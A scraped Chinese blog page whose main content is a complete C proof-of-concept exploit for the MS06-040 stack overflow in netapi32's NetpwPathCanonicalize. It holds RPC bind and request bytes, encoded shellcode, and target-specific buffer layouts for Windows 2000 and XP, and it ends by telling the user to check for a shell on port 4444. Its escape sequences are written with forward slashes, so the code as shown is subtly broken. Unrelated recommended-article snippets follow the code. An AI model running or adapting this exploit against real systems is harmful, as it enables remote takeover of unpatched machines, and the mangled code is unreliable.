MS06-040 Remote Code Execution Proof of Concept

[漏洞分析] 漏洞分析:MS06-040 最近开始学习漏洞分析相关内容,完成对Windows相关安全机制的学习后,便是寻找实例进行练习,这MS06-040是一个经典的栈溢出漏洞,原理很好理解,在此分享一下自己的分析过程,希望对同样是漏洞分析新手的同学有所帮助 漏洞存在于netapi32.dll中的导出函数NetpwPathCanonicalize()里,原型为: int NetpwPathCanonicalize ( uint16 path[ ], // [in] path name uint8 c... 阅读详情
 /*
* MS06-040 Remote Code Execution Proof of Concept
*
* Ported by ub3r st4r aka iRP
* ---------------------------------------------------------------------
* Tested Against:
*  Windows XP SP1
*  Windows 2000 SP4
*
* Systems Affected:
*  Microsoft Windows 2000 SP0-SP4
*  Microsoft Windows XP SP0-SP1
*  Microsoft Windows NT 4.0
* ---------------------------------------------------------------------
* This is provided as proof-of-concept code only for educational
* purposes and testing by authorized individuals with permission
* to do so.
*
* PRIVATE v.0.2 (08-27-06)
*/

#include <stdio.h>
#include <windows.h>

#pragma comment(lib, "mpr")
#pragma comment(lib, "Rpcrt4")

// bind uuid interface: 4b324fc8-1670-01d3-1278-5a47bf6ee188 v3.0
unsigned char DCERPC_Bind_RPC_Service[] =
       "/x05/x00/x0B/x03/x10/x00/x00/x00/x48/x00/x00/x00/x00/x00/x00/x00"
       "/xD0/x16/xD0/x16/x00/x00/x00/x00/x01/x00/x00/x00/x00/x00/x01/x00"
       "/xC8/x4F/x32/x4B/x70/x16/xD3/x01/x12/x78/x5A/x47/xBF/x6E/xE1/x88"
       "/x03/x00/x00/x00/x04/x5D/x88/x8A/xEB/x1C/xC9/x11/x9F/xE8/x08/x00"
       "/x2B/x10/x48/x60/x02/x00/x00/x00";

// request windows api: NetprPathCanonicalize (0x1f)
unsigned char DCERPC_Request_RPC_Service[] =
       "/x05/x00/x00/x03/x10/x00/x00/x00/x30/x08/x00/x00/x00/x00/x00/x00"
       "/x18/x08/x00/x00/x00/x00/x1f/x00/xff/xff/xff/xff/x01/x00/x00/x00"
       "/x00/x00/x00/x00/x01/x00/x00/x00/x00/x00/x00/x00";

       // path ...

unsigned char DCERPC_Request_RPC_Service_[] =
       "/xfa/x00/x00/x00/x02/x00/x00/x00/x00/x00/x00/x00/x02/x00/x00/x00"
       "/x00/x00/x00/x00/xfa/x00/x00/x00/x00/x00/x00/x00";

unsigned char sc[] =
       "/x6a/x51/x59/xd9/xee/xd9/x74/x24/xf4/x5b/x81/x73/x13/xa8/x97/x90"
       "/x88/x83/xeb/xfc/xe2/xf4/x29/x53/x6f/x67/x57/x68/xd4/x74/xc2/x7c"
       "/xdd/x60/x51/x68/x6f/x77/xc8/x1c/xfc/xac/x8c/x1c/xd5/xb4/x23/xeb"
       "/x95/xf0/xa9/x78/x1b/xc7/xb0/x1c/xcf/xa8/xa9/x7c/xd9/x03/x9c/x1c"
       "/x91/x66/x99/x57/x09/x24/x2c/x57/xe4/x8f/x69/x5d/x9d/x89/x6a/x7c"
       "/x64/xb3/xfc/xb3/xb8/xfd/x4d/x1c/xcf/xac/xa9/x7c/xf6/x03/xa4/xdc"
       "/x1b/xd7/xb4/x96/x7b/x8b/x84/x1c/x19/xe4/x8c/x8b/xf1/x4b/x99/x4c"
       "/xf4/x03/xeb/xa7/x1b/xc8/xa4/x1c/xe0/x94/x05/x1c/xd0/x80/xf6/xff"
       "/x1e/xc6/xa6/x7b/xc0/x77/x7e/xf1/xc3/xee/xc0/xa4/xa2/xe0/xdf/xe4"
       "/xa2/xd7/xfc/x68/x40/xe0/x63/x7a/x6c/xb3/xf8/x68/x46/xd7/x21/x72"
       "/xf6/x09/x45/x9f/x92/xdd/xc2/x95/x6f/x58/xc0/x4e/x99/x7d/x05/xc0"
       "/x6f/x5e/xfb/xc4/xc3/xdb/xfb/xd4/xc3/xcb/xfb/x68/x40/xee/xc0/x86"
       "/xcc/xee/xfb/x1e/x71/x1d/xc0/x33/x8a/xf8/x6f/xc0/x6f/x5e/xc2/x87"
       "/xc1/xdd/x57/x47/xf8/x2c/x05/xb9/x79/xdf/x57/x41/xc3/xdd/x57/x47"
       "/xf8/x6d/xe1/x11/xd9/xdf/x57/x41/xc0/xdc/xfc/xc2/x6f/x58/x3b/xff"
       "/x77/xf1/x6e/xee/xc7/x77/x7e/xc2/x6f/x58/xce/xfd/xf4/xee/xc0/xf4"
       "/xfd/x01/x4d/xfd/xc0/xd1/x81/x5b/x19/x6f/xc2/xd3/x19/x6a/x99/x57"
       "/x63/x22/x56/xd5/xbd/x76/xea/xbb/x03/x05/xd2/xaf/x3b/x23/x03/xff"
       "/xe2/x76/x1b/x81/x6f/xfd/xec/x68/x46/xd3/xff/xc5/xc1/xd9/xf9/xfd"
       "/x91/xd9/xf9/xc2/xc1/x77/x78/xff/x3d/x51/xad/x59/xc3/x77/x7e/xfd"
       "/x6f/x77/x9f/x68/x40/x03/xff/x6b/x13/x4c/xcc/x68/x46/xda/x57/x47"
       "/xf8/x67/x66/x77/xf0/xdb/x57/x41/x6f/x58";

int main(int argc, char* argv[])
{
       HANDLE hFile;
       NETRESOURCE nr;

       char szRemoteName[MAX_PATH], szPipePath[MAX_PATH];

       unsigned int i;

       unsigned char szInBuf[4096];
       unsigned long dwRead, nWritten;

       unsigned char szReqBuf[2096];

       if (argc < 3){
               printf("[-] Usage: ms06040poc <host> [target]/n");
               printf("/t1 - Windows 2000 SP0-SP4/n");
               printf("/t2 - Windows XP SP0-SP1/n");
               return -1;
       }

       memset(szReqBuf, 0, sizeof(szReqBuf));

       if (atoi(argv[2]) == 1) {
               unsigned char szBuff[1064];

               // build payload buffer
               memset(szBuff, '/x90', 1000);
               memcpy(szBuff+630, sc, sizeof(sc));

               for(i=1000; i<1064; i+=4) {
                       memcpy(szBuff+i, "/x04/x08/x02/x00", 4);
               }

               // build request buffer
               memcpy(szReqBuf, DCERPC_Request_RPC_Service, sizeof(DCERPC_Request_RPC_Service)-1);
               memcpy(szReqBuf+44, "/x15/x02/x00/x00", 4); /* max count */
               memcpy(szReqBuf+48, "/x00/x00/x00/x00", 4); /* offset */
               memcpy(szReqBuf+52, "/x15/x02/x00/x00", 4); /* actual count */
               memcpy(szReqBuf+56, szBuff, sizeof(szBuff));
               memcpy(szReqBuf+1120, "/x00/x00/x00/x00", 4); /* align string */
               memcpy(szReqBuf+1124, DCERPC_Request_RPC_Service_, sizeof(DCERPC_Request_RPC_Service_)-1);
               memcpy(szReqBuf+1140 , "/xeb/x02", 2);
       }
       if (atoi(argv[2]) == 2) {
               unsigned char szBuff[708];

               memset(szBuff, '/x90', 612); /* size of shellcode */
               memcpy(szBuff, sc, sizeof(sc));

               memcpy(szBuff+612, "/x0a/x08/x02/x00", 4);
               memset(szBuff+616, 'A', 8); // 8 bytes padding
               memcpy(szBuff+624, "/x04/x08/x02/x00", 4);
               memset(szBuff+628, '/x90', 32);
               memcpy(szBuff+660, "/x04/x08/x02/x00", 4);
               memset(szBuff+664, 'B', 8); // 8 bytes padding
               memcpy(szBuff+672, "/x04/x08/x02/x00", 4);
               memset(szBuff+676, '/x90', 32);

               // build request buffer
               memcpy(szReqBuf, DCERPC_Request_RPC_Service, sizeof(DCERPC_Request_RPC_Service)-1);
               memcpy(szReqBuf+44, "/x63/x01/x00/x00", 4); /* max count */
               memcpy(szReqBuf+48, "/x00/x00/x00/x00", 4); /* offset */
               memcpy(szReqBuf+52, "/x63/x01/x00/x00", 4); /* actual count */
               memcpy(szReqBuf+56, szBuff, sizeof(szBuff));
               memcpy(szReqBuf+764, "/x00/x00/x00/x00", 4); /* align string */
               memcpy(szReqBuf+768, DCERPC_Request_RPC_Service_, sizeof(DCERPC_Request_RPC_Service_)-1);
       }

       printf("[+] Connecting to %s ... /n", argv[1]);

       _snprintf(szRemoteName, sizeof(szRemoteName), "////%s//ipc$", argv[1]);
       nr.dwType = RESOURCETYPE_ANY;
       nr.lpLocalName = NULL;
       nr.lpProvider = NULL;
       nr.lpRemoteName = szRemoteName;
       if (WNetAddConnection2(&nr, "", "", 0) != NO_ERROR) {
               printf("[-] Failed to connect to host !/n");
               return -1;
       }

       _snprintf(szPipePath, sizeof(szPipePath), "////%s//pipe//browser", argv[1]);
       hFile = CreateFile(szPipePath, GENERIC_READ|GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);

       if (hFile == INVALID_HANDLE_VALUE) {
               printf("[-] Failed to open named pipe !/n");
               return -1;
       }

       printf("[+] Binding to RPC interface ... /n");
       if (TransactNamedPipe(hFile, DCERPC_Bind_RPC_Service, sizeof(DCERPC_Bind_RPC_Service), szInBuf, sizeof(szInBuf), &dwRead, NULL) == 0) {
               printf("[-] Failed to bind to interface !/n");
               CloseHandle(hFile);
               return -1;
       }

       printf("[+] Sending RPC request ... /n");
       if (!WriteFile(hFile, szReqBuf, sizeof(szReqBuf), &nWritten, 0)) {
               printf("[-] Unable to transmit RPC request !/n");
               CloseHandle(hFile);
               return -1;
       }

       printf("[+] Now check for shell on %s:4444 !/n", argv[1]);

       return 0;
}

深入浅出MS06-040 如果您根据本文的指导亲手完成了全部的7节实验内容,相信您对栈溢出的掌握和漏洞利用的认识一定会到一个更高的level。 立即下载

相关推荐

MS06040漏洞扫描工具

MS06040漏洞扫描工具,若无法运行,尝试用windows2000兼容性运行。

signature=2f5f7776a12b849050f88bd5b555c78c,node-demo/yarn-error.log at ea202f8005baeff250fdd8b11aebd...

Arguments:/Users/liujianwei/.nvm/versions/node/v10.17.0/bin/node /usr/local/bin/yarn add cryptoPATH:/Users/liujianwei/.nvm/versions/node/v10.17.0/bin:/Users/liujianwei/linuxscript:/usr/local/bin:/usr/...

weixin_31861647的博客 12万+

AXI总线的Burst Type以及地址计算 | WRAP到底是怎么一回事?

AXI总线的transaction是burst-based的,因此有必要好好研究一下不同burst type的工作原理。此处略过burst的定义以及burst size、burst length等信号的介绍。

qiuzhongyu123的博客 2万+

signature=4ff84eeb25a6a6b42a3cb5b1ba0eda5c,【脑残党福利】《天国:拯救(Kingdom Come: Deliverance)》天国拯救控制台代码大全!! 天国...

#钥匙1e7932a3-736a-49c6-baba-8ff7a0a86850 : keyring_stashesb54eaa25-f0e9-425b-8b29-1fb14a71de56 : keyring_doors009e075b-16e2-4666-8f46-e05670783fb9 : vk_key_sas_sashome11_chests00d32ef9-77b8-4eb0-b767-3...

weixin_39557199的博客 4万+

从配置文件加载顺序揭秘:为什么你的logback.xml读不到application.yml?

本文深入解析了Spring Boot中logback.xml无法读取application.yml配置的原因,揭示了Spring Boot配置加载机制与日志系统初始化的时序问题。通过对比logback.xml与logback-spring.xml的差异,提供了使用springProperty标签和系统属性传递等解决方案,帮助开发者有效解决日志配置问题。

weixin_29214335的博客 364

医院网络设计(完整文档+思科拓扑图)

大家好,我是小华学长,一名计算机领域的博主。经过多年的学习和实践,我积累了丰富的计算机知识和经验,在这里我想与大家分享我的学习心得和技巧,帮助你成为更好的程序员。作为一名计算机博主,我一直专注于编程、算法、软件开发等领域,在这些方面积累了大量的经验。我相信分享是一种双赢的方式,通过分享,我可以帮助他人提升技术水平,同时也能够得到学习交流的机会。在我的文章中,你将会看到我对于各种编程语言、开发工具以及常见问题的解析和分析。我会结合自己的实际项目经验,为你提供实用的解决方案和优化技巧。

qq1325513482的博客 2万+

signature=40d7662d1429dac6f7e77b1e4f00672f,HBuildX-UniApp-Ts-Template

# THIS IS AN AUTOGENERATED FILE. DO NOT EDIT THIS FILE DIRECTLY.# yarn lockfile v1"@babel/code-frame@^7.0.0", "@babel/code-frame@^7.5.5":version "7.5.5"resolved "https://registry.npm.taobao.org/@babel...

weixin_32820457的博客 1万+

Linux实战:rMATS可变剪切分析从零到一,避坑指南与结果深度解析

本文详细介绍了在Linux系统上从零开始部署rMATS进行可变剪切分析的完整流程,包括环境搭建、安装避坑指南、参数优化及结果解读。特别针对gfortran依赖、数学库配置等常见问题提供解决方案,并深入解析JC与JCEC结果的差异及可视化技巧,帮助生物信息学研究者高效完成可变剪切分析。

weixin_30394669的博客 411

signature=a77ab60446c2be877535a2f8b191e6ff,quality-web/yarn.lock at master · MrJxySteven/quality-web...

# THIS IS AN AUTOGENERATED FILE. DO NOT EDIT THIS FILE DIRECTLY.# yarn lockfile v1"@babel/code-frame@^7.0.0":version "7.0.0"resolved "https://registry.npm.taobao.org/@babel/code-frame/download/@babel/...

weixin_39957647的博客 3万+

手把手教你解决Kernel panic报错:init找不到的5种排查方法(附NFS挂载实战)

本文深入解析了Linux系统启动时出现“Kernel panic - not syncing: No working init found”报错的根本原因,并提供了五种系统性的排查方法。文章结合NFS挂载根文件系统的实战场景,详细阐述了从动态链接库依赖、内核引导参数、NFS权限配置、文件系统完整性到内核配置干扰的完整排查路径,帮助开发者快速定位并解决这一常见的系统启动故障。

weixin_29159995的博客 196

蓝牙协议栈详解(3)——BTstack

BTstack是一个轻量级蓝牙协议栈,支持经典蓝牙(BR/EDR)和低功耗蓝牙(BLE)。它采用事件驱动模型,可运行在MCU/CPU上,通过HCI接口与蓝牙控制器通信。协议栈包含完整的蓝牙协议层支持,如L2CAP、RFCOMM、ATT/GATT等,并提供丰富的示例代码。 主要特点包括模块化设计、开源授权、支持多种HCI传输方式(UART/USB)和操作系统适配。开发时需要关注事件驱动编程模型、内存配置优化、HCI传输稳定性等问题。典型应用场景包括SPP串口通信、BLE外设开发等。 使用建议从最小示例开始,逐

嵌入式软硬件叶玄 296

signature=b36d0f576b75b4646b2ebd330587c145,bips/bip-0174.mediawiki at master · bitcoin/bips · GitHub...

BIP: 174Layer: ApplicationsTitle: Partially Signed Bitcoin Transaction FormatAuthor: Andrew Chow Comments-Summary: No comments yet.Comments-URI: https://github.com/bitcoin/bips/wiki/Comments:BIP-0174S...

weixin_32829465的博客 1万+

Allegro如何用自带的功能将线段变成铜皮操作指导

在做PCB设计的时候,有时根据设计需要将线段变成铜皮,可以借助辅助工具来实现这一操作,但是Allegro自身也自带这个功能,如下图。勾选Delete original objects。如何用自带的功能将线段变成铜皮操作指导。勾选Convert to shape,需要把这段走线变成铜皮。

weixin_54787054的博客 2946

signature=a20b3c3a6ff607accc831e6d492695f4,qfinance-token/yarn.lock at master · QFinanceDeFi/qfinanc...

# THIS IS AN AUTOGENERATED FILE. DO NOT EDIT THIS FILE DIRECTLY.# yarn lockfile v1"@babel/helper-module-imports@^7.12.1":version "7.12.5"resolved "https://registry.yarnpkg.com/@babel/helper-module-imp...

weixin_35317737的博客 9万+

【AI智能体】飞书 AI 智能客服机器人搭建与使用实战操作详解

飞书 AI 智能客服机器人搭建与使用实战操作详解

congge 6062

文档:亲测可用解决vnc灰屏,黑屏,鼠标大黑叉情况

主要解决vnc-viewer灰屏,黑屏,鼠标大黑叉等现象,详细见文档。

第11章 Tkinter 概述

python自带的GUI(Graphics User Interface)库是tkinter,其它可选的其它GUI库有: PyGObject 支持GTK+3 图形界面工具集 PyQt 支持Qt库,可跨Unix,Windows,Mac OS X平台使用 wxPython 可跨Unix,Windows,Mac OS X平台使用,根据平台显示对应的风格 # tkinter库中的类 类 继承的父类 Tk Wm, Misc Topleve Wm, BaseWidget BaseWidget

Ailsa2019的博客 8万+

最新的sdio 4.0 spec 协议标准 带书签 高清完整PDF版

Part-E1-SDIO-Specification-Ver4.00-Final-120220.pdf:最新的sdio 4.0 spec 协议标准 带书签 高清完整PDF版,包括SDIO 接口的外设,SDIO 接口官方协议等。

python面试题搜集

1. Python面试题搜集(一) 2019 Python最新面试题及答案16道题吐血总结!50道Python面试题集锦(附答案) Python是目前编程领域最受欢迎的语言。在本文中,我将总结Python面试中最常见的50个问题。每道题都提供参考答案,希望能够帮助你在2019年求职面试中脱颖而出,找到一份高薪工作。这些面试题涉及Python基础知识、Python编程、数据分析以及Python函数库等多个方面。 Q1、Python中的列表和元组有什么区别? Q2、Python的主要功能是什么? Python

花开如雨的博客 30万+

pscad IEEE标准系统搭建说明

pscad IEEE标准系统搭建说明,包含典型的IEEE 9节点、14节点、30节点、39节点和118节点系统。内含标准测试系统的原始数据和潮流结果。

C# WinForm 基于DirectShow.dll编写的程序,可边预览边保存视频,音频和图片

基于微软的DirectShow.dll的二次开发1.自动识别连接的摄像头跟麦克风且可以对其进行选择(默认选中第一个)2.可录制wmv和avi两种格式的视频并且都带有音频,avi可以录制的分辨率和帧数进行选择,wmv默认进行了淸晰度优化如不喜欢可去除代码中有相关提示3.可在预览点开之后进行拍照,也可边录制视频边拍照4.添加了视频和音频的压缩功能(酌情使用)这次二次开发发现C#对DirectShow的相关信息太少,这次做完也不敢藏私共享出来,还望大家指正

signature=cce4afdcfcab19aaa0db7f57ff95f0f8,yarn.lock

# THIS IS AN AUTOGENERATED FILE. DO NOT EDIT THIS FILE DIRECTLY.# yarn lockfile v1"@ant-design-vue/babel-helper-vue-transform-on@^1.0.0":version "1.0.1"resolved "https://registry.npm.taobao.org/@ant-d...

weixin_39699670的博客 1万+

15 Awesome Sites with Stuning Stock HD Videos

From:http://www.createthebridge.com/blog/free-hd-video-and-video-clips/ On our previous blog post, 27 Sites for Awesome Free Stock Photos, we talked about the importance of carefully choosing the i

上帝已逝,自求多福 53万+

码农的表白

码农的创意的数字表达爱意的方式,包括利用编程技巧生成心形和玫瑰图案,以及使用二进制和压缩算法进行信息加密。首先,通过在Sublime Text中输入特定的数字序列并搜索所有“9”,意外地生成了一种心形图案。接着,介绍了两种在HTML中使用Canvas元素绘制动态心形的方法,可通过将提供的JavaScript代码直接粘贴至Chrome浏览器的地址栏来预览效果。此外,还展示了一种用“x”和“o”代表二进制的“1”和“0”的编码方式,通过简单的C++程序实现对“I Love You”的编码与解码。进一步,文

生活在别处 9万+

RPC漏洞的通用分析方法(图)

 作者:Friddy一.工具准备1.IDA Pro Advanced 5.2(强大的静态逆向工具)2.HexRays(强大的可以将汇编代码转换为高质量的C代码的IDA插件)3.mIDA(极好的抽象RPC接口的IDA插件)二.找到溢出点1.补丁比较。(1)保留没有更新的文件到文件夹Old(2)打补丁,将更新后的文件放到文件夹New(3)使用“Darun Grim”等类似的补丁比较工具进行

瞎几把学 2929

MS06-040漏洞研究(上)【转载】

课程简介 我在之前的课程中讨论过W32Dasm这款软件中的漏洞分析与利用的方法,由于使用该软件的人群毕竟是小众群体,因此该漏洞的危害相对来说还是比较小的。但是如果漏洞出现在Windows系统中,那么情况就会很不一样了。毕竟Windows统治了全球九成以上的计算机操作系统,因此如果该系统中出现了漏洞,而这个漏洞又被别有用心者所利用,那么就必然会出现数以亿计的受害者。 课程介绍 ...

weixin_30390075的博客 740

MS06-040漏洞研究(中)【转载】

课程简介 经过上次的分析,我们已经知道了MS06-040漏洞的本质,那么这次我们就通过编程实现漏洞的利用。 课程介绍 实验环境: 操作机:Windows XP 实验工具: Tools Path IDA Pro ...

weixin_30390075的博客 488

DCE/MS RPC旁窥

目录:    ☆ DCE/MS RPC架构简介    ☆ BIND操作简介        1) "BIND Over TCP"简介        2) "BIND Over Transaction"简介        3) "BIND Over Write AndX"简介        4) "BIND Over ..."扩展        5) SMB_COM_TRANSACTION2与SMB_

9223
上一篇: 编程通过WMI获取系统信息
下一篇: 替换和安装新svchost服务
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值